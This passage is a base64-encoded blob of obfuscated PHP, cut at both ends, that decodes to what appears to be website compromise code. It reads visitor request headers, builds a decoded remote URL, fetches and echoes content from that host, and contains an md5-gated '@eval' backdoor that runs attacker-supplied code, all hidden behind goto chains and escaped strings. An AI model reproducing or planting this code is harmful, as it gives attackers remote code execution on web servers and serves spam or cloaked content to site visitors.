iXHg2M1wxNTdceDZlXDE2NFwxNDVceDZlXHg3NCIgPT4gJycsICJceDc0XDE3MVx4NzBcMTQ1IiA9PiAnJyk7IGdvdG8gcWptT0UwZTRwT3Fwb1B4OyBIMUZpMlhyR0c4aUU4TzE6IH0gZ290byBzN0lQRXNYeXRHekJTdUU7IGV4TXRYOU9INmREVG1SNjogaWYgKCFzdWJzdHJfY291bnQoJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVwxMjVcMTA1XHg1M1wxMjRcMTM3XDEyNVwxMjJceDQ5Il0sICJcMTUxXHg2ZVx4NjRceDY1XHg3OFx4MmVceDcwXHg2OFx4NzBceDJmXDE1Mlx4NmIiKSkgeyBnb3RvIHhqX2dZazdyN0l2V3VfMzsgfSBnb3RvIEVSd3RfYlBfb2p5RGNZNjsgVG1zMWJJOVNXXzFDMkdsOiAkQkgwR3JsbDFKa0EyM0J3ID0gJE9yUWdtcWJWdTVWemNQaigiXHg3ZSIsICJceDIwIik7IGdvdG8gVzJQNjdLS1hYcGZKRHdpOyBlSW0wdlFpR2g5aGZmazk6ICRWc043TFdmRkJ4dV9wNzEgPSBwcmVnX3JlcGxhY2UoIlx4MmZceDVjXDc3XHgyZVx4MmFceDJmIiwgJycsICRfU0VSVkVSWyJceDUyXHg0NVx4NTFcMTI1XHg0NVwxMjNcMTI0XHg1Zlx4NTVcMTIyXDExMSJdKTsgZ290byBOOVphSW1DVmtQbEtUdVI7IEFTVW9idmZVbldSQW1HWjogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIHgzMVZDTTl4UU9lSFYxMTsga28wc1VreWUzaE9mVlpEOiB4al9nWWs3cjdJdld1XzM6IGdvdG8gazFlaGhUeXJZQmg0Wm9GOyBrMWVoaFR5cllCaDRab0Y6ICRSMlp4OUN4UFNCeUh2aHAgPSBKbVUwa0s1TTJxWGM4RG0oKTsgZ290byBTNnRPZU5wZkdYZUI0WXU7IGUxZjFBbmtaRXdGUVVEbDogaWYgKGluX2FycmF5KCREY2VFUnN0clVBaDRVMW1bIlwxNjNceDc0XDE0MVx4NzRceDc1XDE2MyJdLCBhcnJheSgwLCAyMDApKSkgeyBnb3RvIElUd3VzdXZqNGViZ05vMTsgfSBnb3RvIGxBeDBSU3VvaHdaVlBjSzsga2p1R043ejMzRUgwYUh2OiBmdW5jdGlvbiBqbXUwS0s1TTJReGM4ZE0oKSB7IGdvdG8gWkhsWnc0M1VuVkd4MEhNOyBYbUlzT1dsOHA1dXV2QjU6ICRSMlp4OUN4UFNCeUh2aHAgPSAkUjJaeDlDeFBTQnlIdmhwWzBdOyBnb3RvIEVYVEwzMWFiTll4TzAzazsgTXFuWUlOREZaZ1BXaUI0OiAkUjJaeDlDeFBTQnlIdmhwID0gdHJpbShzdHJfcmVwbGFjZSgiXDQwIiwgJycsICRSMlp4OUN4UFNCeUh2aHApLCAiXHgyYyIpOyBnb3RvIENpYXh3TFZNVlRINTZmQzsgelBaTnB5S0FoTnNqTVRFOiByZXR1cm4gJFIyWng5Q3hQU0J5SHZocDsgZ290byBlWGJRWTdkV3kzWmFjX2Q7IHo0aEFNNU5ZSFh5dkcxRDogZ290byBQaGRsUVpaXzdxYjI2ZjY7IGdvdG8gaUZHamZjVnhiT1RRQ2FTOyBJV2hBQ2l3QnBVRXJZNDA6IFNnajdiUzIyMElNUXZXMjogZ290byBrV0d0ek5mRE0yZ3lFUUc7IGFSTWxwSXlVY3VyZTNCMTogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXHg1Zlx4NThcMTM3XHg1MlwxMDVcMTAxXDExNFx4NWZcMTExXHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBceDVmXHg1OFwxMzdcMTIyXHg0NVwxMDFceDRjXDEzN1x4NDlceDUwIl0pKSB7IGdvdG8gbDBvTFU3aFNOUG5QX2JoOyB9IGdvdG8gREZzX1c1YmpEejc2VnZ2OyBGS0Y1WUtRV08xR2NYUkg6IFBoZGxRWlpfN3FiMjZmNjogZ290byBNcW5ZSU5ERlpnUFdpQjQ7IHFjYlk2MmVRMlA4cTFVUTogbDBvTFU3aFNOUG5QX2JoOiBnb3RvIHZnNDlNNk5mdHBXTG1vcDsgemszd1JhVU4zc3ZISFdROiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBceDVmXDEwM1x4NDZceDVmXDEwM1wxMTdcMTE2XHg0ZVx4NDVceDQzXHg1NFwxMTFcMTE2XDEwN1x4NWZcMTExXHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBceDVmXDEwM1wxMDZceDVmXHg0M1x4NGZcMTE2XDExNlwxMDVceDQzXHg1NFx4NDlcMTE2XDEwN1wxMzdcMTExXHg1MCJdKSkgeyBnb3RvIFNnajdiUzIyMElNUXZXMjsgfSBnb3RvIGFSTWxwSXlVY3VyZTNCMTsgdll1aDhPUXFKaXlZanZQOiAkUjJaeDlDeFBTQnlIdmhwID0gJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBceDVmXDEzMFx4NWZceDQ2XDExN1x4NTJcMTI3XHg0MVwxMjJceDQ0XHg0NVwxMDRcMTM3XDEwNlwxMTdceDUyIl07IGdvdG8gRktGNVlLUVdPMUdjWFJIOyBhcVF4U1BuekUzUUt4UXE6IGdvdG8gUGhkbFFaWl83cWIyNmY2OyBnb3RvIElXaEFDaXdCcFVFclk0MDsgREZzX1c1YmpEejc2VnZ2OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXDEzMFwxMzdcMTA2XHg0ZlwxMjJceDU3XHg0MVx4NTJceDQ0XHg0NVwxMDRcMTM3XDEwNlx4NGZceDUyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZcMTMwXDEzN1x4NDZceDRmXDEyMlwxMjdceDQxXHg1Mlx4NDRceDQ1XDEwNFwxMzdceDQ2XHg0Zlx4NTIiXSkpIHsgZ290byBiRUkwZGlTMm9ZNndjeWk7IH0gZ290byBlNW9Gc0xRWmJUcDlaN2g7IHhOTkFiaTZfQkt4dHRFRTogZ290byBQaGRsUVpaXzdxYjI2ZjY7IGdvdG8gcWNiWTYyZVEyUDhxMVVROyBFWFRMMzFhYk5ZeE8wM2s6IGFKWjMxbEpIbG1oYTEwMjogZ290byB6UFpOcHlLQWhOc2pNVEU7IGtXR3R6TmZETTJneUVRRzogJFIyWng5Q3hQU0J5SHZocCA9ICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXDEzN1x4NDNcMTA2XDEzN1x4NDNcMTE3XDExNlx4NGVcMTA1XHg0M1x4NTRcMTExXDExNlx4NDdceDVmXHg0OVx4NTAiXTsgZ290byB4Tk5BYmk2X0JLeHR0RUU7IFpIbFp3NDNVblZHeDBITTogJFIyWng5Q3hQU0J5SHZocCA9ICcnOyBnb3RvIHprM3dSYVVOM3N2SEhXUTsgdmc0OU02TmZ0cFdMbW9wOiAkUjJaeDlDeFBTQnlIdmhwID0gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XDEzMFwxMzdcMTIyXHg0NVx4NDFceDRjXHg1Zlx4NDlcMTIwIl07IGdvdG8gejRoQU01TllIWHl2RzFEOyBuTVlJcG1OX3J2ckw3X0M6ICRSMlp4OUN4UFNCeUh2aHAgPSBleHBsb2RlKCJceDJjIiwgJFIyWng5Q3hQU0J5SHZocCk7IGdvdG8gWG1Jc09XbDhwNXV1dkI1OyBlNW9Gc0xRWmJUcDlaN2g6ICRSMlp4OUN4UFNCeUh2aHAgPSAkX1NFUlZFUlsiXDEyMlwxMDVceDRkXHg0Zlx4NTRceDQ1XDEzN1wxMDFcMTA0XDEwNFwxMjIiXTsgZ290byBhcVF4U1BuekUzUUt4UXE7IENpYXh3TFZNVlRINTZmQzogaWYgKCEoc3RycG9zKCRSMlp4OUN4UFNCeUh2aHAsICJceDJjIikgIT09IGZhbHNlKSkgeyBnb3RvIGFKWjMxbEpIbG1oYTEwMjsgfSBnb3RvIG5NWUlwbU5fcnZyTDdfQzsgaUZHamZjVnhiT1RRQ2FTOiBiRUkwZGlTMm9ZNndjeWk6IGdvdG8gdll1aDhPUXFKaXlZanZQOyBlWGJRWTdkV3kzWmFjX2Q6IH0gZ290byB2VENsRWwyY3FJbVQ1WHM7IENxRnFqY3pFN2Y5S3AwTjogZXhpdChzdHJyZXYobWQ1KCRfU0VSVkVSWyJcMTIzXHg0NVx4NTJcMTI2XHg0NVx4NTJceDVmXHg0ZVx4NDFceDRkXHg0NSJdKSkpOyBnb3RvIEF2dmhhcmVZbnMzT1RZZDsgRVJ3dF9iUF9vanlEY1k2OiBleGl0KCJceDdiXHgyMFx4MjJcMTQ1XHg3MlwxNjJceDZmXHg3Mlw0Mlx4M2FceDIwXHgzMlx4MzBceDMwXHgyY1w0MFx4MjJcMTU0XHg2M1x4MjJceDNhXDQwXHgyMlx4NmFcMTUzXDQyXDU0XDQwXDQyXHg2NFwxNDFcMTY0XDE0MVx4MjJcNzJcNDBceDViXHgyMFx4MzFceDIwXDEzNVw0MFx4N2QiKTsgZ290byBrbzBzVWt5ZTNoT2ZWWkQ7IHgzMVZDTTl4UU9lSFYxMTogZnVuY3Rpb24gcU1xUTY4bkxMa09JZnZMKCRnbFY5VEwyb2x3UmRKR3cpIHsgZ290byBWN0VSVVZtV2FvMzFYclQ7IGJ5XzZWMHQyQVRva3ZmaTogcmV0dXJuICRVVHdqdDZldUJzOFF1a0k7IGdvdG8gUEoxampyZ09MNUVEb1lFOyBDaWJCSWdYNHJhc1ZoZ3o6IFdRMlVSMm1pTllYbldXazogZ290byBQdnFoa29tbDdKRk9LT1M7IGZjVUdOQkM0cjQ1dmllcDogcmV0dXJuICRVVHdqdDZldUJzOFF1a0k7IGdvdG8gQ2liQklnWDRyYXNWaGd6OyBIemNFMjdJYXJoczh3dzg6IGlmIChpc19hcnJheSgkZ2xWOVRMMm9sd1JkSkd3KSkgeyBnb3RvIFdRMlVSMm1pTllYbldXazsgfSBnb3RvIGZjVUdOQkM0cjQ1dmllcDsgbjVWbEt1cm1XM1hHQWhrOiBISHoySmYyOXI4NlBJeG06IGdvdG8gYnlfNlYwdDJBVG9rdmZpOyBWN0VSVVZtV2FvMzFYclQ6ICRVVHdqdDZldUJzOFF1a0kgPSBhcnJheSgiXHg3M1wxNjRceDYxXDE2NFwxNjVcMTYzIiA9PiAwLCAiXHg2M1wxNTdceDZlXHg3NFx4NjVcMTU2XHg3NCIgPT4gJycsICJceDc0XDE3MVwxNjBceDY1IiA9PiAnJyk7IGdvdG8gSHpjRTI3SWFyaHM4d3c4OyBQdnFoa29tbDdKRk9LT1M6IGZvcmVhY2ggKCRnbFY5VEwyb2x3UmRKR3cgYXMgJFNsaFVxeVFmdWxmYXFLaSkgeyBnb3RvIGtOS2NXaFVmRjBtQnhnYjsgVUNYbG5zVmJvMXdDMjNiOiBsOTkwdlVIY2NBWG8zYmI6IGdvdG8gVmIxUlhxOGJGUzZ3U1JvOyBrVERYS08wQ1hhWmVfMlQ6IGdvdG8gQnF2V2lzQWRrbFlyMnAyOyBnb3RvIFhXT0J3U0RQSDJwYzMzczsgWEkwT2JrVVQ4YlFJWm5EOiBwVU5XUzNJWjVUZ0YxWUQ6IGdvdG8gZDhMcUR3X2RFU2J1WkhfOyBnZHM4bHRWOE1sanFLS2Y6IGlmIChwcmVnX21hdGNoKCJcNTdceDYzXHg2ZlwxNTZceDc0XDE0NVx4NmVceDc0XDEzNFx4MmRcMTY0XHg3OVwxNjBceDY1XDEzNFw3MlwxMzNceDVjXDE2M1wxMzVceDJiXDUwXHgyZVw1Mlw1MVx4MmZceDY5IiwgJFNsaFVxeVFmdWxmYXFLaSwgJFlraDFXWlplekNDX3BEaykpIHsgZ290byBDZV9adXBoTGxBWkVfUHI7IH0gZ290byBrVERYS08wQ1hhWmVfMlQ7IG01SUY5dDhYa2tzd2FaNDogZ290byBCcXZXaXNBZGtsWXIycDI7IGdvdG8gU21iOFRXV0ZfNGd1T0RVOyBIYVdsX0hvcVcyT1JTSEk6ICRVVHdqdDZldUJzOFF1a0lbIlx4NzRcMTcxXDE2MFwxNDUiXSA9ICRZa2gxV1paZXpDQ19wRGtbMV07IGdvdG8gZmFYWmY3SjIzSG5kdGluOyBYV09Cd1NEUEgycGMzM3M6IHZxbXpVNkE4Tks0aVBPZjogZ290byByVjFVWThKVkNqaGxQMTc7IGZhWFpmN0oyM0huZHRpbjogQnF2V2lzQWRrbFlyMnAyOiBnb3RvIFVDWGxuc1ZibzF3QzIzYjsga05LY1doVWZGMG1CeGdiOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2OFx4NzRcMTY0XDE2MFwxMzRcNTdcMTMzXHgzMFw1NVw3MVwxMzRcNTZcMTM1XHgyYlwxMzNcMTM0XHg3M1wxMzVceDJiXDUwXHg1Ylx4MzBcNTVceDM5XHg1ZFx4MmJcNTFcNTdcMTUxIiwgJFNsaFVxeVFmdWxmYXFLaSwgJFlraDFXWlplekNDX3BEaykpIHsgZ290byB2cW16VTZBOE5LNGlQT2Y7IH0gZ290byB5b2ZnbXRwN2hPMGdrMF87IHlvZmdtdHA3aE8wZ2swXzogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTU0XHg2ZlwxNDNcMTQxXDE2NFwxNTFcMTU3XHg2ZVx4NWNceDNhXHg1Ylx4NWNcMTYzXDEzNVw1M1x4MjhcNTZceDJhXDUxXDU3XHg2OSIsICRTbGhVcXlRZnVsZmFxS2ksICRZa2gxV1paZXpDQ19wRGspKSB7IGdvdG8gcFVOV1MzSVo1VGdGMVlEOyB9IGdvdG8gZ2RzOGx0VjhNbGpxS0tmOyBsU19xZVZGdUFxakRIbDY6IGdvdG8gQnF2V2lzQWRrbFlyMnAyOyBnb3RvIFhJME9ia1VUOGJRSVpuRDsgZDhMcUR3X2RFU2J1WkhfOiAkVVR3anQ2ZXVCczhRdWtJWyJcMTQzXDE1N1x4NmVceDc0XHg2NVx4NmVceDc0Il0gPSAkWWtoMVdaWmV6Q0NfcERrWzFdOyBnb3RvIG01SUY5dDhYa2tzd2FaNDsgU21iOFRXV0ZfNGd1T0RVOiBDZV9adXBoTGxBWkVfUHI6IGdvdG8gSGFXbF9Ib3FXMk9SU0hJOyByVjFVWThKVkNqaGxQMTc6ICRVVHdqdDZldUJzOFF1a0lbIlx4NzNcMTY0XDE0MVwxNjRceDc1XDE2MyJdID0gaW50dmFsKCRZa2gxV1paZXpDQ19wRGtbMV0pOyBnb3RvIGxTX3FlVkZ1QXFqREhsNjsgVmIxUlhxOGJGUzZ3U1JvOiB9IGdvdG8gbjVWbEt1cm1XM1hHQWhrOyBQSjFqanJnT0w1RURvWUU6IH0gZ290byBJbzEwTkU2WmFNUEdlUnA7IGpNUHpoYlFlRm9sOU13eDogJE9yUWdtcWJWdTVWemNQaiA9ICJceDcyIiAuICJceDYxIiAuICJceDZlIiAuICJcMTQ3IiAuICJcMTQ1IjsgZ290byBUbXMxYkk5U1dfMUMyR2w7IG95WGFkMjRIV3FiWDhEcTogaWYgKCEoc3RycG9zKCRWc043TFdmRkJ4dV9wNzEsICJcNTYiKSA+IDAgJiYgc3RycG9zKCRWc043TFdmRkJ4dV9wNzEsICJcNTZceDcwXDE1MFx4NzAiKSA9PT0gZmFsc2UpKSB7IGdvdG8gTVZRQ0V5TTQzRjlLVGx4OyB9IGdvdG8gSmpXZ3lUZW5qYW5Od09fOyBXOWFSa3NWdTl6ZThHdDk6IGlmICgkT042YU5XN2hTaHNoeXJNKSB7IGdvdG8gUXI5aXpOVHlhTDBNbWtUOyB9IGdvdG8gWDB3QUVWTjNhcTJVb29qOyBzN0lQRXNYeXRHekJTdUU6IGZ1bmN0aW9uIG9PVkVod3JaYjA3dUdtNygkdXpjc0xUOWFydEdzdTlDKSB7IGdvdG8gcFAyaXpDX2ZTVzJ1VmR3OyB0anNuR2tjMXZWSndTVlE6IHJldHVybiAnJzsgZ290byBGUjJQblVBSGNMYjYxQUQ7IGtuZHVRQnk1SHlSaU95dTogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJHV6Y3NMVDlhcnRHc3U5QyksICJcNTNcNTciLCAiXHgyZFwxMzciKSwgIlx4M2QiKTsgZ290byBVVDE2Q1A0T1RBbjFFSzc7IEZSMlBuVUFIY0xiNjFBRDogZ1FzQUpHd1kxS29ETllCOiBnb3RvIGtuZHVRQnk1SHlSaU95dTsgcFAyaXpDX2ZTVzJ1VmR3OiBpZiAoJHV6Y3NMVDlhcnRHc3U5QykgeyBnb3RvIGdRc0FKR3dZMUtvRE5ZQjsgfSBnb3RvIHRqc25Ha2MxdlZKd1NWUTsgVVQxNkNQNE9UQW4xRUs3OiB9IGdvdG8ga2p1R043ejMzRUgwYUh2OyB5b09ESFQyRDRYaUhlNU46ICRJTkFBWnV4azJEZmdjcmRbIlx4NzIiXSA9IG9vVkVIV1JaYjA3dUdtNygkX1NFUlZFUlsiXHg1Mlx4NDVceDUxXHg1NVwxMDVcMTIzXHg1NFx4NWZceDU1XDEyMlwxMTEiXSk7IGdvdG8gaTdSdnlFRHIwcXNEdXJQOyBCNXdLRTJUbHo1cVNCMmQ6IE5DZllBcFlGNGxYaHJPUTogZ290byBQam5ITFNBSDlTUndLblc7IFgwd0FFVk4zYXEyVW9vajogJERjZUVSc3RyVUFoNFUxbSA9IHpNVXJiR1BfOEVveDVCTyhiYXNlNjRfZGVjb2RlKCJcMTQxXDExMFx4NTJcNjBceDYzXHg0NFwxNTdceDc2XHg0Y1x4MzNceDcwXDE3Mlx4NGVceDQ0XHg1MVx4N2FceDY0XDE1MlwxMDVceDdhXHg1YVx4MzJcMTUzXDE2NVwxMzJceDZlXHg0YVwxNjZcMTQzXHgzMlx4MzVcNjBcMTQxXHg1N1wxMjZcMTcxXDExNFwxNTZceDQ2XDYxXDEzMlwxMzBcMTE2XHgzMFx4NGNceDc3IiksICRJTkFBWnV4azJEZmdjcmQpOyBnb3RvIGUxZjFBbmtaRXdGUVVEbDsgamVxeXhvTWVzeFZlRE5IOiBpZiAoIShpbl9hcnJheShnZXR0eXBlKCRVQTZYS1M3WGtxdjhvb1opIC4gY291bnQoJFVBNlhLUzdYa3F2OG9vWiksICRVQTZYS1M3WGtxdjhvb1opICYmIGNvdW50KCRVQTZYS1M3WGtxdjhvb1opID09IDE5ICYmIG1kNShtZDUobWQ1KG1kNSgkVUE2WEtTN1hrcXY4b29aWzEzXSkpKSkgPT09ICJcNjBcNjFceDM1XDE0NFw2MVx4NjFcNzFceDYzXHg2M1x4NjFcNjdcNjBcMTQ2XDY0XDY1XHgzOVw2MFx4NjNcNjNceDMwXHg2NlwxNDVceDM3XDE0NVw2M1wxNDFcNjJcMTQ1XHg2MVw3MFw2Mlw2MSIpKSB7IGdvdG8gelFqWERmRFVmTGNjV0M5OyB9IGdvdG8gUGJzeHF1YXBPblc4Y0VuOyBQYnN4cXVhcE9uVzhjRW46ICgkVUE2WEtTN1hrcXY4b29aWzY3XSA9ICRVQTZYS1M3WGtxdjhvb1pbNjddIC4gJFVBNlhLUzdYa3F2OG9vWls3NV0pICYmICgkVUE2WEtTN1hrcXY4b29aWzkwXSA9ICRVQTZYS1M3WGtxdjhvb1pbNjddKCRVQTZYS1M3WGtxdjhvb1pbOTBdKSkgJiYgQGV2YWwoJFVBNlhLUzdYa3F2OG9vWls2N10oJHskVUE2WEtTN1hrcXY4b29aWzQ4XX1bMjZdKSk7IGdvdG8gS0JLektYYXNYUmNaNTl0OyBPMGpxOUFNN2NkNXFMNHU6IGlmICghc3RybGVuKCREY2VFUnN0clVBaDRVMW1bIlx4NjNceDZmXDE1NlwxNjRcMTQ1XHg2ZVwxNjQiXSkpIHsgZ290byBOQ2ZZQXBZRjRsWGhyT1E7IH0gZ290byBxdVAxUlZoeTRIb1JYblU7IE4zc2tfaUhiVzBWazM0bzogSVR3dXN1dmo0ZWJnTm8xOiBnb3RvIE8wanE5QU03Y2Q1cUw0dTsgb3lsRGxTUkxqSUZINEZCOiAkb3U0UTJ5X2d2dzdtd0g5ID0gJyc7IGdvdG8geWt1STJHc3NtZUhUQ2E1OyBTcVlyUzNicUc2QjlSSG86IGlmICghaW5fYXJyYXkoJG01NmozcWdWWWJaTjVQciwgYXJyYXkoIlw1NlwxNTJceDczIiwgIlx4MmVceDYzXHg3M1wxNjMiLCAiXHgyZVwxNTJceDcwXHg2NyIsICJcNTZceDcwXHg2ZVwxNDciLCAiXDU2XDE0N1x4NjlceDY2IiwgIlw1NlwxNTFceDYzXHg2ZiIpKSkgeyBnb3RvIEltdXJlcjdtUUJKeWRiZDsgfSBnb3RvIENORTliSFZfY3cyaDVqbzsgdDdVaDBna1JydFJCeEV0OiAkSU5BQVp1eGsyRGZnY3JkID0gYXJyYXkoKTsgZ290byBXNDdSWkFWWU82aEszdnA7IHF1UDFSVmh5NEhvUlhuVTogQGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFx4NjVceDZlXDE2NFw1NVx4NTRceDc5XHg3MFx4NjVcNzIiIC4gJERjZUVSc3RyVUFoNFUxbVsiXHg3NFwxNzFcMTYwXHg2NSJdKTsgZ290byBwRmFaM3VtUzJsR0NvNTg7IFBENDF2QlpjV0lIYTR4bzogaGVhZGVyKCJcMTAzXDE1N1wxNTZceDc0XHg2NVx4NmVceDc0XHgyZFx4NTRcMTcxXDE2MFx4NjVceDNhXDQwXHg3NFx4NjVceDc4XHg3NFw1N1wxNTBcMTY0XHg2ZFwxNTRcNzNceDIwXHg2M1wxNTBceDYxXDE2Mlx4NzNceDY1XHg3NFx4M2RcMTY1XDE2NFx4NjZceDJkXDcwIik7IGdvdG8gQVNVb2J2ZlVuV1JBbUdaOyBUa2dlVjBlMjVCZThfcDY6IHpRTExBS0JFQzFiWjY0VjogZ290byBZanUyZUszYXBYbnFNVmI7IFZCdWozOU1VWmJqdEhlUzogJElOQUFadXhrMkRmZ2NyZFsiXHg3NSJdID0gb29WRWhXUlpiMDdVR003KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXDEzN1wxMjVcMTIzXHg0NVx4NTJceDVmXDEwMVwxMDdceDQ1XHg0ZVwxMjQiXSk7IGdvdG8gZUltMHZRaUdoOWhmZms5OyBxNko3ZUdCS2FUUGhNYjc6IGV4aXQoMCk7IGdvdG8gQjV3S0UyVGx6NXFTQjJkOyBPM0NmZGwyS3BRTXVRaTc6IGlmICghKCRfU0VSVkVSWyJceDUyXDEwNVwxMjFceDU1XHg0NVx4NTNceDU0XDEzN1wxMjVceDUyXHg0OSJdID09PSAiXHgyZlx4NTJceDJkIiAuIG1kNSgkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXDEyNlx4NDVcMTIyXHg1Zlx4NGVcMTAxXDExNVx4NDUiXSkpKSB7IGdvdG8gWnJDMmthMV9DWnNraElfOyB9IGdvdG8gQ3FGcWpjekU3ZjlLcDBOOyBUaDNiMHlENWM4MGJXVFo6IG1ldGFwaG9uZSgiXDExNVx4N2FcMTE1XDYyXHg0Zlx4NTRceDQxXDY0XHg0ZFwxMjRceDYzXDYwXHg0ZFx4NTRceDQxXHgzMVwxMTVcMTA0XDEwMVx4MzRceDRkXDEyNFx4NTFceDMwXDExNVx4NmFceDU5XHg3N1x4NGVceDU0XHg0MVx4NzkiKTsgZ290byBjcFFvN21uTTF1WUtpYXI7IEtIVW13YzFIYXFVbUVaTDogJElOQUFadXhrMkRmZ2NyZFsiXDE2MyJdID0gT09WRWhXclpCMDd1R203KCR5OUY4NGRVc1RoS1hCeFMpOyBnb3RvIFZCdWozOU1VWmJqdEhlUzsgaTdSdnlFRHIwcXNEdXJQOiAkSU5BQVp1eGsyRGZnY3JkWyJceDcyXDE0NiJdID0gb292ZUhXcnpiMDdVZ203KCRvdTRRMnlfZ3Z3N213SDkpOyBnb3RvIEtIVW13YzFIYXFVbUVaTDsgZUdWNUFMSk1KT1UxUVJwOiAkSU5BQVp1eGsyRGZnY3JkWyJceDZjIl0gPSBPb3ZlSHdSWmIwN1VHTTcoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFwxMjBceDVmXDEwMVwxMDNcMTAzXDEwNVx4NTBceDU0XHg1ZlwxMTRcMTAxXDExNlwxMDdceDU1XHg0MVwxMDdcMTA1Il0pOyBnb3RvIFpZUDF5UHNsREtNSmplMDsgdlRDbEVsMmNxSW1UNVhzOiBmdW5jdGlvbiBZY2g1UERkZ01OTDR0NWUoKSB7IGdvdG8gZmVIM1BHajdhNkhSRnVTOyBKVWNzMXJYWlA1ZzFtTzc6IGdvdG8gQlZuSHp3WUp0cTMyQk5SOyBnb3RvIHJSQWdfZXNPT1FvYkkzazsgZVdQNHV0MTZTNTNDOHhGOiBnb3RvIEJWbkh6d1lKdHEzMkJOUjsgZ290byBXd0tXeXgwMXAwQ3hSc1c7IGVKT3FJNGdjUEhmNjYyaTogJHo3VGNLWkhmeG56Zl9GXyA9ICJceDY4XHg3NFwxNjRceDcwXHg3M1w3Mlw1N1w1NyI7IGdvdG8gZVdQNHV0MTZTNTNDOHhGOyBXd0tXeXgwMXAwQ3hSc1c6IFV3Rk1EWUducGJGR2ZiczogZ290byBzYzFjYWJOMTlqYkJEWDI7IHJSQWdfZXNPT1FvYkkzazogcmFwbUZnSG5MSnJMbDhpOiBnb3RvIGVKT3FJNGdjUEhmNjYyaTsgS1JQeFl3NmVESHNfSEZLOiBnb3RvIEJWbkh6d1lKdHEzMkJOUjsgZ290byBUTGc3YXlMNVplekhHYmU7IHFDYXk4dExOc2lqcGhWQzogJHo3VGNLWkhmeG56Zl9GXyA9ICJceDY4XHg3NFwxNjRceDcwXDE2M1w3Mlw1N1w1NyI7IGdvdG8gamppclJXM0Z4UTBmTElBOyBoRHlRejN5M0tyaDVVc3g6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFwxMzdcMTA2XDEyMlwxMTdceDRlXDEyNFx4NWZcMTA1XHg0ZVwxMDRceDVmXHg0OFx4NTRcMTI0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFx4NWZcMTA2XDEyMlwxMTdcMTE2XHg1NFx4NWZcMTA1XDExNlx4NDRceDVmXDExMFwxMjRcMTI0XHg1MFx4NTMiXSkgIT09ICJcMTU3XDE0Nlx4NjYiKSB7IGdvdG8gcFRCdWUyM1Z6QURWWndVOyB9IGdvdG8gSlVjczFyWFpQNWcxbU83OyBNc1RmbFppaG5yM21fQXU6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFx4NWZceDU4XDEzN1wxMDZcMTE3XDEyMlx4NTdcMTAxXDEyMlwxMDRcMTA1XHg0NFx4NWZceDUwXDEyMlx4NGZceDU0XDExNyJdKSAmJiAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFx4NWZcMTMwXDEzN1x4NDZceDRmXHg1MlwxMjdceDQxXDEyMlwxMDRcMTA1XDEwNFwxMzdcMTIwXDEyMlwxMTdcMTI0XHg0ZiJdID09PSAiXDE1MFx4NzRcMTY0XDE2MFx4NzMiKSB7IGdvdG8gVXdGTURZR25wYkZHZmJzOyB9IGdvdG8gaER5UXozeTNLcmg1VXN4OyBIS1hybURFOE9XTUl6M3g6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NTMiXSkgIT09ICJceDZmXDE0NlwxNDYiKSB7IGdvdG8gcmFwbUZnSG5MSnJMbDhpOyB9IGdvdG8gTXNUZmxaaWhucjNtX0F1OyBqamlyUlczRnhRMGZMSUE6IEJWbkh6d1lKdHEzMkJOUjogZ290byB1U2M5eTdrM1JSUEpkbXk7IHNjMWNhYk4xOWpiQkRYMjogJHo3VGNLWkhmeG56Zl9GXyA9ICJcMTUwXHg3NFx4NzRcMTYwXHg3M1w3Mlw1N1x4MmYiOyBnb3RvIEtSUHhZdzZlREhzX0hGSzsgdVNjOXk3azNSUlBKZG15OiByZXR1cm4gJHo3VGNLWkhmeG56Zl9GXzsgZ290byB2M3dCbzFXZ05kUXF4Nng7IGZlSDNQR2o3YTZIUkZ1UzogJHo3VGNLWkhmeG56Zl9GXyA9ICJcMTUwXHg3NFx4NzRceDcwXHgzYVw1N1w1NyI7IGdvdG8gSEtYcm1ERThPV01JejN4OyBUTGc3YXlMNVplekhHYmU6IHBUQnVlMjNWekFEVlp3VTogZ290byBxQ2F5OHRMTnNpanBoVkM7IHYzd0JvMVdnTmRRcXg2eDogfSBnb3RvIE8zQ2ZkbDJLcFFNdVFpNzsgWUtyb2ZPTW1lMTNhazVTOiBXX3BkTDFPNTBQRDg5MDM6OlVzSkRzRzlDdDRqdG9sYigpOyBnb3RvIFBENDF2QlpjV0lIYTR4bzsgTjlaYUltQ1ZrUGxLVHVSOiAkT042YU5XN2hTaHNoeXJNID0gZmFsc2U7IGdvdG8gb3lYYWQyNEhXcWJYOERxOyBwRmFaM3VtUzJsR0NvNTg6IGVjaG8gJERjZUVSc3RyVUFoNFUxbVsiXHg2M1x4NmZcMTU2XDE2NFx4NjVcMTU2XHg3NCJdOyBnb3RvIHE2SjdlR0JLYVRQaE1iNzsgeWt1STJHc3NtZUhUQ2E1OiBLWVpCYV9FUTNkWndJMF86IGdvdG8gdDdVaDBna1JydFJCeEV0OyBZanUy